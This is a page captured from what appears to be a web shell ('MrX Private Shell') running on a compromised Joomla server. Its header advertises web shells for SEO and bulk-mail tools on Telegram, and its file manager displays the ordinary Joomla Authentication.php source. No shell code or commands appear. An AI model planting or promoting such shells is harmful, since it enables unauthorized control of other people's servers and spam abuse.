__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Part of the Joomla Framework Authentication Package
 *
 * @copyright  Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Authentication;

/**
 * Joomla Framework Authentication Class
 *
 * @since  1.0
 */
class Authentication
{
    /**
     * Authentication was successful.
     *
     * @since  1.0
     */
    public const SUCCESS = 1;

    /**
     * Credentials were provided but they were invalid.
     *
     * @since  1.0
     */
    public const INVALID_CREDENTIALS = 2;

    /**
     * Credentials were provided but the user did not exist in the credential store.
     *
     * @since  1.0
     */
    public const NO_SUCH_USER = 3;

    /**
     * There were no credentials found.
     *
     * @since  1.0
     */
    public const NO_CREDENTIALS = 4;

    /**
     * There were partial credentials found but they were not complete.
     *
     * @since  1.0
     */
    public const INCOMPLETE_CREDENTIALS = 5;

    /**
     * The array of strategies.
     *
     * @var    AuthenticationStrategyInterface[]
     * @since  1.0
     */
    private $strategies = [];

    /**
     * The array of results.
     *
     * @var    integer[]
     * @since  1.0
     */
    private $results = [];

    /**
     * Register a new strategy
     *
     * @param   string                           $strategyName  The name to use for the strategy.
     * @param   AuthenticationStrategyInterface  $strategy      The authentication strategy object to add.
     *
     * @return  void
     *
     * @since   1.0
     */
    public function addStrategy($strategyName, AuthenticationStrategyInterface $strategy)
    {
        $this->strategies[$strategyName] = $strategy;
    }

    /**
     * Perform authentication
     *
     * @param   string[]  $strategies  Array of strategies to try - empty to try all strategies.
     *
     * @return  string|boolean  A string containing a username if authentication is successful, false otherwise.
     *
     * @since   1.0
     * @throws  \RuntimeException
     */
    public function authenticate(array $strategies = [])
    {
        if (empty($strategies)) {
            $strategyObjects = $this->strategies;
        } else {
            $strategyObjects = [];

            foreach ($strategies as $strategy) {
                if (!isset($this->strategies[$strategy])) {
                    throw new \RuntimeException('Authentication Strategy Not Found');
                }

                $strategyObjects[$strategy] = $this->strategies[$strategy];
            }
        }

        if (empty($strategyObjects)) {
            throw new \RuntimeException('No strategies have been set');
        }

        /** @var AuthenticationStrategyInterface $strategyObject */
        foreach ($strategyObjects as $strategy => $strategyObject) {
            $username = $strategyObject->authenticate();

            $this->results[$strategy] = $strategyObject->getResult();

            if (\is_string($username)) {
                return $username;
            }
        }

        return false;
    }

    /**
     * Get authentication results.
     *
     * Use this if you want to get more detailed information about the results of an authentication attempts.
     *
     * @return  integer[]  An array containing authentication results.
     *
     * @since   1.0
     */
    public function getResults()
    {
        return $this->results;
    }
}

Filemanager

Name Type Size Permission Actions
Exception Folder 0775
Password Folder 0775
Strategies Folder 0775
AbstractUsernamePasswordAuthenticationStrategy.php File 3.17 KB 0664
Authentication.php File 3.44 KB 0664
AuthenticationStrategyInterface.php File 852 B 0664
Filemanager